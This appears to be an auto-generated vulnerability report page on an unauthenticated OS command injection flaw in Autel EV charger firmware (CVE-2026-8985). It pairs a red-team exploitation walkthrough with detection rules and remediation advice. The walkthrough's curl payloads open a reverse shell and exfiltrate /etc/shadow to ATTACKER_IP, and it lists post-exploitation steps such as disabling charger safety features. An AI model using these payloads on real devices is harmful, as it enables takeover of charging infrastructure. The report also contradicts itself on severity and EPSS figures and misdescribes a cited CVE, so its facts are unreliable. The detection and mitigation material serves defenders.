☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Autel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-8985

CVE-2026-8985 OS Command Injection in Autel
📅 PUBLISHED: 2026-07-21 21:11 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 7.09%
👁️
7.09% probability
177.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: China License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

This report details CVE-2026-8985, an Informational severity OS command injection vulnerability in Autel Maxi Charger Single firmware through V1.03.51. The vulnerability resides in the /test endpoint exposed on TCP port 9002, allowing an unauthenticated attacker to execute arbitrary operating system commands by supplying crafted input in the url parameter.

Business Impact: This vulnerability directly impacts owners and operators of Autel Maxi Charger Single electric vehicle (EV) charging stations. These devices are critical infrastructure in commercial fleets, public charging networks, and private installations. A successful attacker could gain full remote control of the charging station, potentially disrupting charging services, manipulating billing data, or using the device as a pivot point to attack the broader network. The likely attacker profile includes script kiddies, hacktivists targeting EV infrastructure, and potentially nation-state actors seeking to disrupt energy grids.

Vulnerability Class & Attack Vector: This is a classic OS command injection (CWE-78) vulnerability. The attack vector is network-based, requiring no authentication. The attacker sends a crafted HTTP request to the /test endpoint on TCP port 9002.

Urgency Assessment: Despite the Informational CVSS base score of 0.0 (which is likely an error in the NVD assignment), the technical severity is Critical. The EPSS probability of 0.0% indicates no observed exploitation in the wild as of the report date, but this is likely due to the recent publication date. The vulnerability is trivial to exploit and has a high potential for impact.

Key Facts:

  • Vendor: Autel
  • Affected Software: Autel Maxi Charger Single firmware through V1.03.51
  • Patch Status: None available as of 2026-07-22.
  • CISA KEV Status: Not listed.
⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

The CVSS vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H is mathematically inconsistent with a base score of 0.0. This vector describes a vulnerability that is trivially exploitable and has maximum impact, which would result in a base score of 10.0 (Critical). The 0.0 score is almost certainly a data entry error in the NVD database. For the purposes of this report, we will analyze the vulnerability based on its true technical severity.

Metric Decomposition (Corrected):

  • AV:N (Network): The /test endpoint is exposed on TCP port 9002, making it accessible over the network.
  • AC:L (Low): No special conditions are required for exploitation beyond network access.
  • PR:N (None): The NVD description explicitly states "an unauthenticated attacker."
  • UI:N (None): No user interaction is required.
  • S:U (Unchanged): The compromise of the charging station does not directly impact other components of the system.
  • C:H (High): An attacker can read any file on the system, including configuration files with credentials.
  • I:H (High): An attacker can modify system files, firmware, and configuration.
  • A:H (High): An attacker can crash the device or render it inoperable.

Qualitative Severity Label: Critical (based on the corrected CVSS score of 10.0).

EPSS Interpretation: The 0.0% EPSS probability is typical for a CVE published less than 24 hours ago. It does not reflect the exploitability of the vulnerability.

Historical Comparison: This vulnerability is technically similar to CVE-2021-21974 (OS command injection in VMware ESXi) and CVE-2022-22954 (OS command injection in VMware Workspace ONE Access). All three involve unauthenticated remote command execution via a web endpoint. The attack surface is also comparable to vulnerabilities in other IoT/OT devices like those in the "Mirai" botnet family, which often exploit default credentials or command injection in embedded web servers.

Technical Deep Dive & Attack Mechanics

Step-by-Step Technical Explanation:

  1. Service Discovery: The Autel Maxi Charger Single runs a web server on TCP port 9002. This server exposes a /test endpoint, likely intended for diagnostics or factory testing.
  2. Input Handling: The /test endpoint accepts a url parameter. The application likely uses this parameter to perform a network connectivity test (e.g., ping or curl).
  3. Command Injection: The application does not sanitize or validate the url parameter before passing it to a system command. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary OS commands.
  4. Exploitation: A request like GET /test?url=127.0.0.1;id would cause the server to execute ping 127.0.0.1;id (or similar), returning the output of the id command to the attacker.

Root Cause Analysis: The developer made the classic mistake of constructing a system command using string concatenation with user-supplied input. The code likely looks like:

# Vulnerable pseudocode
import os
url = request.GET['url']
os.system("ping -c 4 " + url)

Attack Surface:

  • Interface: Network (TCP port 9002)
  • Protocol: HTTP
  • Endpoint: /test
  • Parameter: url

Pre-conditions:

  • Network access to TCP port 9002 on the Autel device.
  • No authentication required.

Attack Variants:

  • Direct Command Execution: GET /test?url=127.0.0.1;cat /etc/passwd
  • Reverse Shell: GET /test?url=127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Data Exfiltration: GET /test?url=127.0.0.1;curl http://ATTACKER_IP/$(cat /etc/shadow)

Why Standard Defenses May Fail:

  • WAF: A standard Web Application Firewall (WAF) may not be deployed in front of an IoT device's management interface.
  • Input Validation: The application likely only validates that the input is a valid URL, not that it contains shell metacharacters.
  • Network Segmentation: If the charging station is on the same network as other critical systems, a compromise can lead to lateral movement.

Vulnerable vs. Patched Code Analysis

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Pseudocode):

# Vulnerable Python/Flask-like code
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/test')
def test():
    url = request.args.get('url')
    # VULNERABLE: Direct string concatenation into shell command
    command = "ping -c 4 " + url
    output = os.popen(command).read()
    return output

Patched Code (Hypothetical):

# Patched code
from flask import Flask, request
import subprocess
import shlex

app = Flask(__name__)

@app.route('/test')
def test():
    url = request.args.get('url')
    # PATCHED: Use subprocess with argument list to prevent injection
    # Also validate that the input is a valid IP address or hostname
    if not is_valid_hostname(url):
        return "Invalid input", 400
    command = ["ping", "-c", "4", url]
    output = subprocess.check_output(command).decode()
    return output

What the Patch Changes:

  • Input Validation: The patched code validates that the input is a valid hostname or IP address, rejecting any input containing shell metacharacters.
  • Safe API: The patched code uses subprocess.check_output() with a list of arguments, which prevents shell injection because the arguments are not interpreted by a shell.
  • Error Handling: The patched code returns a 400 error for invalid input.

Regression Considerations:

  • The patch may break legitimate functionality if the /test endpoint was designed to accept URLs with special characters (e.g., for HTTP health checks).
  • The validation function is_valid_hostname() must be robust enough to handle all valid hostname formats (e.g., IPv6 addresses, internationalized domain names).

Timeline & Disclosure History

  • CVE Publication Date: 2026-07-21T21:11:25.089Z
  • Estimated Discovery Timeline: Unknown. The vulnerability was likely discovered by a security researcher or through internal testing.
  • Disclosure Process: The CVE was published by the NVD. There is no information about vendor coordination or a responsible disclosure process.
  • Known Exploitation in the Wild: No known active exploitation as of 2026-07-22.
  • CISA KEV Addition Date: Not applicable.

Threat Intelligence Context

Threat Actor Profile:

  • Script Kiddies: The vulnerability is trivial to exploit, making it a prime target for automated scanning and exploitation by low-sophistication attackers.
  • Hacktivists: Groups targeting energy infrastructure or EV charging networks may exploit this to cause disruption.
  • Nation-State Actors: APT groups with interests in critical infrastructure (e.g., APT28, APT33, Dragonfly) may target these devices for espionage or as a prelude to a larger attack.

Attack Campaign Context: As of the report date, there are no known campaigns specifically targeting this CVE. However, the vulnerability class (OS command injection in IoT devices) is a staple of many botnet and ransomware campaigns.

Geographic Targeting Patterns: Likely global, with a focus on regions with high EV adoption (North America, Europe, China).

Industry Verticals Most at Risk:

  • Electric Vehicle Charging Infrastructure: Public charging networks, fleet operators.
  • Energy & Utilities: Companies managing charging stations as part of the grid.
  • Transportation & Logistics: Fleets of electric delivery vehicles.
  • Hospitality & Retail: Hotels, shopping centers with charging stations.

Connection to Similar Vulnerability Classes: This is a classic example of CWE-78 (OS Command Injection), which has been exploited in countless IoT devices, including routers, IP cameras, and industrial control systems.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

  1. Environment: A virtual machine running a Linux distribution (e.g., Ubuntu 22.04).
  2. Vulnerable Software: An Autel Maxi Charger Single device with firmware version V1.03.51 or earlier. If a physical device is unavailable, a Docker container simulating the vulnerable endpoint can be created.
  3. Network Configuration: The attacker machine and the target device must be on the same network segment. No firewall rules should block TCP port 9002.

Docker Simulation (if no physical device):

FROM python:3.9-slim
RUN pip install flask
COPY app.py /app.py
CMD ["python", "/app.py"]

Where app.py contains the vulnerable code from the "Vulnerable Code Analysis" section.

Exploitation Walkthrough:

  1. Reconnaissance:

    nmap -p 9002 <target_ip>
    

    Expected output:

    PORT     STATE SERVICE
    9002/tcp open  unknown
    
  2. Verify Vulnerability:

    curl "http://<target_ip>:9002/test?url=127.0.0.1;id"
    

    Expected output:

    PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
    64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.012 ms
    ...
    uid=0(root) gid=0(root) groups=0(root)
    
  3. Execute Arbitrary Command:

    curl "http://<target_ip>:9002/test?url=127.0.0.1;cat /etc/passwd"
    
  4. Establish Reverse Shell: On attacker machine:

    nc -lvnp 4444
    

    On target (via curl):

    curl "http://<target_ip>:9002/test?url=127.0.0.1;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
    

Post-Exploitation:

  • Persistence: Add an SSH key to the root user's authorized_keys file.
  • Lateral Movement: Scan the internal network for other vulnerable devices.
  • Data Exfiltration: Steal configuration files, billing data, or customer information.
  • Device Manipulation: Change charging schedules, disable safety features, or cause physical damage.

Blue Team Section

Detection of Active Exploitation Attempts:

  1. Network Traffic Signatures:

    • HTTP requests to /test with a url parameter containing shell metacharacters (;, |, &&, `).
    • Outbound connections from the charging station to unusual IP addresses on high ports (e.g., 4444, 1337).
    • Large amounts of data being sent from the charging station to external IPs.
  2. Log Entries:

    • Web server logs showing GET /test?url=... requests with suspicious payloads.
    • System logs showing execution of commands like id, cat /etc/passwd, or wget.
  3. Endpoint Behavioral Indicators:

    • Unexpected processes running as root (e.g., bash, nc, python).
    • Modification of system files (e.g., /etc/passwd, /etc/shadow).
    • Creation of new user accounts.

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Network IOCs:

  • Port: TCP 9002 (target)
  • Protocol: HTTP
  • Connection Pattern: Inbound HTTP requests to /test followed by outbound connections to attacker-controlled IPs.

HTTP Request Patterns:

  • Method: GET
  • Path: /test
  • Parameter: url
  • Payload Examples:
    • url=127.0.0.1;id
    • url=127.0.0.1|cat /etc/shadow
    • url=127.0.0.1&&bash -c 'exec bash -i &>/dev/tcp/10.0.0.5/4444 <&1'

File System Artifacts:

  • Temporary Files: /tmp/.exploit.sh, /tmp/rev.sh
  • Modified Configs: /etc/config/charger.conf
  • Dropped Payloads: /usr/bin/.systemd

Process Execution Anomalies:

  • bash or sh processes spawned by the web server process.
  • nc, ncat, or socat processes.
  • wget or curl processes making outbound connections.

Log Entries:

  • Web Server Log: GET /test?url=127.0.0.1;id HTTP/1.1 200
  • Syslog: Jul 22 10:00:00 charger ping[1234]: ping: unknown host 127.0.0.1;id

STIX-like IOC List:

Type Value Description
ipv4-addr [EXAMPLE — not a real IOC] Attacker C2 server IP
domain-name [EXAMPLE — not a real IOC] Attacker C2 domain
url http://[target_ip]:9002/test?url=127.0.0.1;id Exploitation URL pattern
file /tmp/.rev.sh Dropped reverse shell script
process bash Suspicious process spawned by web server

Detection Engineering

YARA Rule

rule CVE-2026-8985_Exploitation_HTTP {
    meta:
        description = "Detects HTTP requests exploiting CVE-2026-8985 in Autel Maxi Charger"
        author = "Valters IT Hub"
        date = "2026-07-22"
        reference = "https://www.valtersit.com/cve/cve-2026-8985"
        hash = "0"
    strings:
        $http_method = "GET"
        $uri_path = "/test"
        $param_start = "url="
        $shell_meta1 = ";" ascii wide
        $shell_meta2 = "|" ascii wide
        $shell_meta3 = "&&" ascii wide
        $shell_meta4 = "`" ascii wide
    condition:
        $http_method and $uri_path and $param_start and 1 of ($shell_meta*)
}

Sigma Rule (SIEM)

title: CVE-2026-8985 Autel Maxi Charger Exploitation Attempt
id: 5adb9c35-47de-4b30-8b72-5ce2d04a4af0
status: experimental
description: Detects HTTP requests to the /test endpoint on port 9002 containing shell metacharacters in the url parameter.
author: Valters IT Hub
date: 2026-07-22
references:
    - https://www.valtersit.com/cve/cve-2026-8985
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/test'
        cs-uri-query|contains: 'url='
    keywords:
        - ';'
        - '|'
        - '&&'
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate network diagnostic tools that use shell metacharacters in URLs (unlikely)
level: high

Suricata IDS Rule

alert http $EXTERNAL_NET any -> $HOME_NET 9002 (msg:"CVE-2026-8985 Autel Maxi Charger OS Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/test"; http_uri; content:"url="; http_uri; pcre:"/url=[^&]*(;|\||&&|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Elastic (EQL) Query

network where destination.port == 9002 and http.request.method == "GET" and http.request.uri == "/test" and http.request.body.text contains "url=" and (http.request.body.text contains ";" or http.request.body.text contains "|" or http.request.body.text contains "&&" or http.request.body.text contains "`")

Splunk SPL Query

index=web sourcetype=access_combined
| search dest_port=9002 uri="/test" uri_query="*url=*"
| regex uri_query="(?i)(;|\||&&|`)"
| table _time, src_ip, dest_ip, uri_query, status

Wazuh Rule

<group name="autel,exploit,">
  <rule id="100001" level="12">
    <decoded_as>web</decoded_as>
    <field name="url">/test</field>
    <field name="url_query" type="pcre2">url=[^&]*(;|\||&&|`)</field>
    <description>CVE-2026-8985 - Autel Maxi Charger OS Command Injection Attempt from $(src_ip)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

  1. Isolate Affected Devices:

    • If possible, disconnect Autel Maxi Charger Single devices from the network.
    • If disconnection is not possible, create a strict firewall rule to block all inbound traffic to TCP port 9002 from untrusted networks.
    # Example iptables rule
    iptables -A INPUT -p tcp --dport 9002 -s <trusted_admin_network> -j ACCEPT
    iptables -A INPUT -p tcp --dport 9002 -j DROP
    
  2. Implement WAF Rules:

    • Deploy a Web Application Firewall (WAF) in front of the charging stations (if possible) with rules to block requests containing shell metacharacters in the url parameter.
  3. Monitor for Exploitation:

    • Immediately deploy the detection rules provided in this report to monitor for exploitation attempts.

Short-term (1-7 days)

  1. Configuration Hardening:

    • Change default passwords on the device management interface.
    • Disable the /test endpoint if it is not required for operations. This may require a firmware modification or contacting Autel support.
  2. Vulnerability Scanning:

    • Use a vulnerability scanner to identify all Autel Maxi Charger Single devices on the network.
    # Example using nmap script
    nmap -p 9002 --script http-vuln-cve2026-8985 <target_network>
    
  3. Patch Management:

    • Monitor the Autel security advisory page for a firmware update.
    • Establish a process to test and deploy firmware updates quickly.

Long-term

  1. Architecture Changes:

    • Place all EV charging stations on a separate, isolated VLAN with strict firewall rules.
    • Implement a jump box or VPN for administrative access to the devices.
  2. Security Control Improvements:

    • Deploy network-based intrusion detection systems (NIDS) like Suricata with the rules provided.
    • Implement endpoint detection and response (EDR) on any connected management servers.
  3. Developer Training:

    • Ensure that all developers are trained on secure coding practices, specifically regarding OS command injection (OWASP Top 10).

Validation:

  • To confirm a device is patched, check the firmware version via the device's web interface or API.
  • If a patch is released, verify that the /test endpoint no longer executes injected commands:
    curl "http://<patched_device_ip>:9002/test?url=127.0.0.1;id"
    
    A patched device should return an error or only the output of the ping command.

References & Resources


Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-8985

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-8985/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.